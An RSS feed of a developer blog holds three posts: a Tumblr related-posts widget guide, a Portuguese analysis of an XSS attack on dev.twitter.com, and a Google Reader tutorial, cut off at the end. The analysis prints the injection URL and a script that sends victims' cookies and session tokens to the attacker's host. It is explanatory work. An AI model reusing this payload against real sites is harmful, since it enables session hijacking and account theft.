<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:posterous="http://posterous.com/help/rss/1.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>mps-dev</title>
    <link>http://dev.psicofobia.net</link>
    <description>meus assuntos de computeiro</description>
    <generator>posterous.com</generator>
    <link xmlns="http://www.w3.org/2005/Atom" type="application/json" rel="http://api.friendfeed.com/2008/03#sup" href="http://posterous.com/api/sup_update#18efac229" />
    
    
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/mps-dev" /><feedburner:info uri="mps-dev" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://posterous.superfeedr.com/" /><feedburner:emailServiceId>mps-dev</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
      <pubDate>Wed, 16 Feb 2011 05:57:00 -0800</pubDate>
      <title>RelPosts Widget: A quick way to show related posts in your tumblr blog</title>
      <link>http://feedproxy.google.com/~r/mps-dev/~3/UMI8JPD3ofQ/relposts-widget-a-quick-way-to-show-related-p</link>
      <guid isPermaLink="false">http://dev.psicofobia.net/relposts-widget-a-quick-way-to-show-related-p</guid>
      <description>&lt;p&gt;
	&lt;p&gt;Almost all blogging platforms and/or CMSs have a built-in feature, or 3rd-party plugins/widgets, to show in a post a list with links to other similar posts, mostly with the intention to keep the visitors in the blog, creating an engaged audience and -- to those who track the blog with Analytics or other services -- consequently raising the statistics on pageviews, average time on site and lowering the bounce rate.&lt;/p&gt;
&lt;p&gt;But until now there was no such feature/widget to be used on Tumblr, as far as I know. Then, in need to code something, I looked at Tumblr API docs, studied the code from widgets featured at &lt;a href="http://www.tumblr.com/docs/en/apps"&gt;Third-Party Apps page&lt;/a&gt;&amp;nbsp;(ok, just one: &lt;a href="http://rive.rs/projects/tumblr-tag-clouds"&gt;Tag Clouds by Heather Rivers&lt;/a&gt;) and did a "quick and dirty" script to do this job.&lt;/p&gt;
&lt;p&gt;&lt;div class='p_embed p_image_embed'&gt;
&lt;a href="http://posterous.com/getfile/files.posterous.com/temp-2011-02-16/maefanalIzkaenkwlCxlmAjuADhGGkdFljeHsawxBkmIdzGcozcaEaeednpq/psicofobia.net_Aventais_de_Super_Mario_Bros_-_Chromium_356.png.scaled1000.png"&gt;&lt;img alt="Psicofobia" height="315" src="http://posterous.com/getfile/files.posterous.com/temp-2011-02-16/maefanalIzkaenkwlCxlmAjuADhGGkdFljeHsawxBkmIdzGcozcaEaeednpq/psicofobia.net_Aventais_de_Super_Mario_Bros_-_Chromium_356.png.scaled500.png" width="500" /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In this screenshot you can look at my own blog, my "volunteer" to test this widget.&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How does it work?&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get the post's tags&lt;/li&gt;
&lt;li&gt;Query the Tumblr API for posts with the same tags&lt;/li&gt;
&lt;li&gt;Add the posts' titles (with links) and display them on the page&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;How do I use it?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Copy this code:&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote class="posterous_medium_quote"&gt;
&lt;p&gt;{block:HasTags}&lt;br /&gt;{block:Permalink}&lt;br /&gt;&amp;lt;--! Start Tumblr Related Posts widget --&amp;gt;&lt;br /&gt;&amp;lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script src="http://relposts.googlecode.com/svn/trunk/relposts.js?tags={block:Tags}{Tag},{/block:Tags}" type="text/javascript"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;--! End Tumblr Related Posts widget --&amp;gt;&amp;nbsp;&lt;br /&gt;{/block:Permalink}&amp;nbsp;&lt;br /&gt;{/block:HasTags}&amp;nbsp;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Open the &lt;a href="http://www.tumblr.com/customize"&gt;Customize&lt;/a&gt; page on your dashboard&lt;/li&gt;
&lt;li&gt;On the Theme tab, click on Enable custom HTML&lt;/li&gt;
&lt;li&gt;Paste this code anywhere you want inside the {block:Posts} ... {/blockPosts} tags.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that if your theme already has any or both of these blocks (HasTags and Permalink), you can put it inside them, just be sure to put it inside both. If the post does not have tags, it will only show an error message. Also, it is designed to work on the post page, not the index (home), hence the need to be inside a Permalink block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How can I customize it?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Currently, there are few options, but you can change some things anyway, just add some parameters &lt;strong&gt;after&lt;/strong&gt;&amp;nbsp;the "?" on the script's URL:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;css=custom&amp;nbsp;&lt;/strong&gt;- to use your own CSS and change the widget look'n'feel. (defaults to none, use the theme's own styling)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;len=X &lt;/strong&gt;- where X is the maximum length -- in characters -- of the links' texts, useful because only Text and Chat have titles, for other post types this script uses the caption for photo/video posts, the text for quote/link posts or the question for answers posts. (defaults to 60)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;num=X&lt;/strong&gt;&amp;nbsp;- where X is the (maximum) number of related posts to list (defaults to 8)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example with all parameters, using custom css, only 50 characters on the links' texts and (at most) 10 posts to be listed:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote class="posterous_short_quote"&gt;
&lt;p&gt;...&lt;br /&gt;&amp;lt;script src="http://relposts.googlecode.com/svn/trunk/relposts.js?css=custom&amp;amp;len=50&amp;amp;num=10&amp;amp;tags={block:Tags}{Tag},{/block:Tags}"&amp;nbsp;&lt;br /&gt;...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If anytime this script gets more attention and users, maybe I can add another feature or customization, let's see.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The HTML code generated looks like this:&lt;/p&gt;
&lt;blockquote class="posterous_medium_quote"&gt;
&lt;p&gt;&amp;lt;div id="relposts"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;div id="relposts-loading"&amp;gt;&lt;em&gt;here goes loading and error messages&lt;/em&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;div id="relposts-title"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;ul id="relposts-list&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;lt;li class="relposts-item"&amp;gt;&amp;lt;a class="relposts-link" href="&lt;em&gt;link-to-post&lt;/em&gt;"&amp;gt;&lt;em&gt;text-(title)-of-the-link&lt;/em&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;... &lt;em&gt;repeat for every related post ...&lt;/em&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So you can put this code in your "custom CSS" if you choose to:&lt;/p&gt;
&lt;blockquote class="posterous_medium_quote"&gt;
&lt;p&gt;#relposts {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&amp;nbsp;&lt;br /&gt;#relposts-loading {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&amp;nbsp;&lt;br /&gt;#relposts-title {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&lt;br /&gt;#relposts-list {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&lt;br /&gt;.relposts-item {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&lt;br /&gt;.relposts-link {&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And you can style it according to your needs. Actually, this is exactly the "default.css" theme.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Changelog&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;v1.0 - first release&lt;/p&gt;
&lt;p&gt;Added:&lt;br /&gt;- custom CSS&lt;br /&gt;- limit the links' text length&lt;br /&gt;- limit the number of related posts to list&amp;nbsp;&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href="http://dev.psicofobia.net/relposts-widget-a-quick-way-to-show-related-p"&gt;Permalink&lt;/a&gt; 

	| &lt;a href="http://dev.psicofobia.net/relposts-widget-a-quick-way-to-show-related-p#comment"&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-VrJILUY-fhjqSTm4g2o5Drcpe8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-VrJILUY-fhjqSTm4g2o5Drcpe8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-VrJILUY-fhjqSTm4g2o5Drcpe8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-VrJILUY-fhjqSTm4g2o5Drcpe8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=UMI8JPD3ofQ:N4Qud2_zfrI:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=UMI8JPD3ofQ:N4Qud2_zfrI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=UMI8JPD3ofQ:N4Qud2_zfrI:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=UMI8JPD3ofQ:N4Qud2_zfrI:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/mps-dev/~4/UMI8JPD3ofQ" height="1" width="1"/&gt;</description>
      <posterous:author>
        <posterous:userImage>http://files.posterous.com/user_profile_pics/983749/3179636869_77c7405e36_o.png</posterous:userImage>
        <posterous:profileUrl>http://posterous.com/people/5BchiCg5YrUR</posterous:profileUrl>
        <posterous:firstName>Eduardo</posterous:firstName>
        <posterous:lastName>Miranda</posterous:lastName>
        <posterous:nickName>eduardomps</posterous:nickName>
        <posterous:displayName>Eduardo Miranda</posterous:displayName>
      </posterous:author>
      <media:content type="image/png" url="http://posterous.com/getfile/files.posterous.com/temp-2011-02-16/maefanalIzkaenkwlCxlmAjuADhGGkdFljeHsawxBkmIdzGcozcaEaeednpq/psicofobia.net_Aventais_de_Super_Mario_Bros_-_Chromium_356.png" height="600" width="951">
        <media:thumbnail url="http://posterous.com/getfile/files.posterous.com/temp-2011-02-16/maefanalIzkaenkwlCxlmAjuADhGGkdFljeHsawxBkmIdzGcozcaEaeednpq/psicofobia.net_Aventais_de_Super_Mario_Bros_-_Chromium_356.png.scaled500.png" height="315" width="500" />
      </media:content>
    <feedburner:origLink>http://dev.psicofobia.net/relposts-widget-a-quick-way-to-show-related-p</feedburner:origLink></item>
    <item>
      <pubDate>Mon, 06 Sep 2010 13:13:00 -0700</pubDate>
      <title>Link do "Pe Lanza" - analisando a falha</title>
      <link>http://feedproxy.google.com/~r/mps-dev/~3/mS0Wp7h8vNg/link-do-pe-lanza-analisando-a-falha</link>
      <guid isPermaLink="false">http://dev.psicofobia.net/link-do-pe-lanza-analisando-a-falha</guid>
      <description>&lt;p&gt;
	&lt;p&gt;Quem quiser uma explica&amp;ccedil;&amp;atilde;o r&amp;aacute;pida sobre o fato, por favor se encaminhem para o &lt;a href="http://blog.bytequeeugosto.com.br/falsa-noticia-de-acidente-com-membro-da-banda-restart-bagunca-o-twitter/"&gt;BQEG&lt;/a&gt;, o Marcel deu conta de postar antes de todo mundo.&lt;/p&gt;
&lt;p&gt;Basicamente, &lt;a href="http://www.twitlonger.com/show/3gru6p"&gt;segundo o pr&amp;oacute;prio autor&lt;/a&gt;, foi uma prova de conceito pra "expor a falha pra equipe do twitter". Enfim, bela maneira de fazer isso.&lt;/p&gt;
&lt;blockquote class="posterous_short_quote"&gt;
&lt;p&gt;dev.twitter. com/search?query=%253C/script%253E%253Cscript%20src=%27 //dgoh-codes. com/joseph/twitter/lol.js%27%253E%253C/script%253E&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A&amp;iacute; est&amp;aacute; a URL maliciosa que foi distribu&amp;iacute;da com o devido uso do encurtador pra enganar todo mundo.&lt;/p&gt;
&lt;p&gt;Perceba que ela usa o campo "query", ou seja, o conte&amp;uacute;do da busca na p&amp;aacute;gina dev.twitter.com, que &amp;eacute; uma das centrais de ajuda a desenvolvedores de aplica&amp;ccedil;&amp;otilde;es para o servi&amp;ccedil;o.&lt;/p&gt;
&lt;p&gt;E dentro desse campo ele joga um valor "&amp;lt;/script&amp;gt;&amp;lt;script src="URL_DO_SCRIPT"&amp;gt;&amp;lt;/script&amp;gt; que &amp;eacute; aceito pelo sistema. O &lt;strong&gt;campo query sequer &amp;eacute; tratado&lt;/strong&gt;&amp;nbsp;o que &amp;eacute; um risco e tanto.&lt;/p&gt;
&lt;p&gt;Tendo em m&amp;atilde;os a url desse script, resolvi ver o que realmente era o conte&amp;uacute;do dele:&lt;/p&gt;
&lt;blockquote class="posterous_medium_quote"&gt;
&lt;p&gt;window.onload=function(){&lt;/p&gt;
&lt;p&gt;location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&amp;amp;token=', document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O script simplesmente redireciona o usu&amp;aacute;rio para a p&amp;aacute;gina do autor da sacanagem, que deve ter um c&amp;oacute;digo simples de enviar tweets atrav&amp;eacute;s dela.&lt;/p&gt;
&lt;p&gt;O detalhe &amp;eacute; que usando este script, ele consegue passar o &lt;em&gt;cookie&lt;/em&gt;&amp;nbsp;- um pequeno documento que armazena dados para te manter logado em um site, no caso do twitter - e o mais importante, o token de autentica&amp;ccedil;&amp;atilde;o, uma sequ&amp;ecirc;ncia de caracteres gerada aleatoriamente a cada sess&amp;atilde;o, que &amp;eacute; realmente o que d&amp;aacute; autoriza&amp;ccedil;&amp;atilde;o para a p&amp;aacute;gina enviar um tweet em seu nome.&lt;/p&gt;
&lt;p&gt;Fica a dica, cuidado ao clicar em links, n&amp;atilde;o s&amp;oacute; no twitter, mas em qualquer lugar a&amp;iacute; pela internet.&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href="http://dev.psicofobia.net/link-do-pe-lanza-analisando-a-falha"&gt;Permalink&lt;/a&gt; 

	| &lt;a href="http://dev.psicofobia.net/link-do-pe-lanza-analisando-a-falha#comment"&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lCgZO3vY83Iinm5M_QxNod4mfEs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lCgZO3vY83Iinm5M_QxNod4mfEs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lCgZO3vY83Iinm5M_QxNod4mfEs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lCgZO3vY83Iinm5M_QxNod4mfEs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=mS0Wp7h8vNg:gU56RZbExFw:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=mS0Wp7h8vNg:gU56RZbExFw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=mS0Wp7h8vNg:gU56RZbExFw:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=mS0Wp7h8vNg:gU56RZbExFw:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/mps-dev/~4/mS0Wp7h8vNg" height="1" width="1"/&gt;</description>
      <posterous:author>
        <posterous:userImage>http://files.posterous.com/user_profile_pics/983749/3179636869_77c7405e36_o.png</posterous:userImage>
        <posterous:profileUrl>http://posterous.com/people/5BchiCg5YrUR</posterous:profileUrl>
        <posterous:firstName>Eduardo</posterous:firstName>
        <posterous:lastName>Miranda</posterous:lastName>
        <posterous:nickName>eduardomps</posterous:nickName>
        <posterous:displayName>Eduardo Miranda</posterous:displayName>
      </posterous:author>
    <feedburner:origLink>http://dev.psicofobia.net/link-do-pe-lanza-analisando-a-falha</feedburner:origLink></item>
    <item>
      <pubDate>Sat, 04 Sep 2010 13:10:00 -0700</pubDate>
      <title>Criando feeds combinados com o Google Reader</title>
      <link>http://feedproxy.google.com/~r/mps-dev/~3/55FbiG9_VeA/criando-feeds-combinados-com-o-google-reader</link>
      <guid isPermaLink="false">http://dev.psicofobia.net/criando-feeds-combinados-com-o-google-reader</guid>
      <description>&lt;p&gt;
	&lt;p&gt;(dois posts no primeiro dia? wow...)&lt;/p&gt;
&lt;p&gt;Atendendo a um pedido, resolvi escrever um post pra explicar como eu criei o feed combinado dos meus blogs. J&amp;aacute; adianto que talvez existam outras solu&amp;ccedil;&amp;otilde;es melhores, mas essa alternativa funciona bem pro meu uso, ent&amp;atilde;o mantenho ela :)&lt;/p&gt;
&lt;p&gt;Primeiro passo, abra seu Google Reader e clique no link acima dos itens dos seus amigos (aqui est&amp;aacute; em espanhol, n&amp;atilde;o se espantem):&lt;/p&gt;
&lt;p&gt;&lt;div class='p_embed p_image_embed'&gt;
&lt;a href="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/vEacuJGweHvebgkIizfuiAfcItpAnsaamJqdHGnIyeBvfEmJmJCBCuBsqscI/tut_bundle1.png.scaled1000.png"&gt;&lt;img alt="Tut_bundle1" height="400" src="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/vEacuJGweHvebgkIizfuiAfcItpAnsaamJqdHGnIyeBvfEmJmJCBCuBsqscI/tut_bundle1.png.scaled500.png" width="500" /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Certifique-se que est&amp;aacute; na primeira aba (Navegar), ent&amp;atilde;o clique no bot&amp;atilde;o mais abaixo e &amp;agrave; direita, "Criar um grupo". (note tamb&amp;eacute;m o link "ver seus grupos)&lt;/p&gt;
&lt;p&gt;&lt;div class='p_embed p_image_embed'&gt;
&lt;a href="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/GaCcDDFIqtjmJigwwxktxyJsjyaoxvrebkBpkCqrJorJcbrfcBAalbyCspaJ/tut_bundle2.png.scaled1000.png"&gt;&lt;img alt="Tut_bundle2" height="400" src="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/GaCcDDFIqtjmJigwwxktxyJsjyaoxvrebkBpkCqrJorJcbrfcBAalbyCspaJ/tut_bundle2.png.scaled500.png" width="500" /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Na p&amp;aacute;gina que abriu, voc&amp;ecirc; pode ver a caixa de cria&amp;ccedil;&amp;atilde;o do grupo.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;alto: T&amp;iacute;tulo (equivale ao nome do feed) e descri&amp;ccedil;&amp;atilde;o (&amp;uacute;til, coloque algo que identifique o que tem de feeds)&lt;/li&gt;
&lt;li&gt;meio: aqui v&amp;atilde;o os feeds que far&amp;atilde;o parte do grupo, basta clicar e arrastar eles da sua lista de feeds para c&amp;aacute;. se quiser remover algum, basta arrastar pro espa&amp;ccedil;o logo abaixo&lt;/li&gt;
&lt;li&gt;baixo: um checkbox pra voc&amp;ecirc; marcar se quer ou n&amp;atilde;o adicionar o grupo aos seus itens compartilhados no google reader e o salvar/cancelar&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terminando a cria&amp;ccedil;&amp;atilde;o do grupo e clicando em salvar, ele tamb&amp;eacute;m vai aparecer quando voc&amp;ecirc; clicar pra criar um novo ou ver seus grupos. Nesse exemplo, tem ali embaixo o j&amp;aacute; criado aqui do psicofobia.&lt;/p&gt;
&lt;p&gt;Agora, o passo final: junto ao grupo h&amp;aacute; 4 links, clique no terceiro "Adicionar um link [ao seu site ou blog]"&lt;/p&gt;
&lt;p&gt;&lt;div class='p_embed p_image_embed'&gt;
&lt;a href="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/uDlIkpsBCwyBBgjaoluqmsrlioyxFEAymvHBFGqIzHqnaFwlqztioxEqdIAA/tut_bundle3.png.scaled1000.png"&gt;&lt;img alt="Tut_bundle3" height="400" src="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/uDlIkpsBCwyBBgjaoluqmsrlioyxFEAymvHBFGqIzHqnaFwlqztioxEqdIAA/tut_bundle3.png.scaled500.png" width="500" /&gt;&lt;/a&gt;
&lt;/div&gt;
Ele vai abrir essa p&amp;aacute;gina com os feeds do seu grupo, etc. Ali do lado direito tem o "Atom feed", s&amp;oacute; copiar o link e distribuir por a&amp;iacute; :)&lt;/p&gt;
&lt;p&gt;Qualquer coisa, deixe sua d&amp;uacute;vida nos coment&amp;aacute;rios!&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href="http://dev.psicofobia.net/criando-feeds-combinados-com-o-google-reader"&gt;Permalink&lt;/a&gt; 

	| &lt;a href="http://dev.psicofobia.net/criando-feeds-combinados-com-o-google-reader#comment"&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FJKWRjg2bXZV0Zl0GANoBV0o6sc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FJKWRjg2bXZV0Zl0GANoBV0o6sc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FJKWRjg2bXZV0Zl0GANoBV0o6sc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FJKWRjg2bXZV0Zl0GANoBV0o6sc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=55FbiG9_VeA:OAEr_dcmUe4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=55FbiG9_VeA:OAEr_dcmUe4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=55FbiG9_VeA:OAEr_dcmUe4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=55FbiG9_VeA:OAEr_dcmUe4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/mps-dev/~4/55FbiG9_VeA" height="1" width="1"/&gt;</description>
      <posterous:author>
        <posterous:userImage>http://files.posterous.com/user_profile_pics/983749/3179636869_77c7405e36_o.png</posterous:userImage>
        <posterous:profileUrl>http://posterous.com/people/5BchiCg5YrUR</posterous:profileUrl>
        <posterous:firstName>Eduardo</posterous:firstName>
        <posterous:lastName>Miranda</posterous:lastName>
        <posterous:nickName>eduardomps</posterous:nickName>
        <posterous:displayName>Eduardo Miranda</posterous:displayName>
      </posterous:author>
      <media:content type="image/png" url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/vEacuJGweHvebgkIizfuiAfcItpAnsaamJqdHGnIyeBvfEmJmJCBCuBsqscI/tut_bundle1.png" height="1024" width="1280">
        <media:thumbnail url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/vEacuJGweHvebgkIizfuiAfcItpAnsaamJqdHGnIyeBvfEmJmJCBCuBsqscI/tut_bundle1.png.scaled500.png" height="400" width="500" />
      </media:content>
      <media:content type="image/png" url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/uDlIkpsBCwyBBgjaoluqmsrlioyxFEAymvHBFGqIzHqnaFwlqztioxEqdIAA/tut_bundle3.png" height="1024" width="1280">
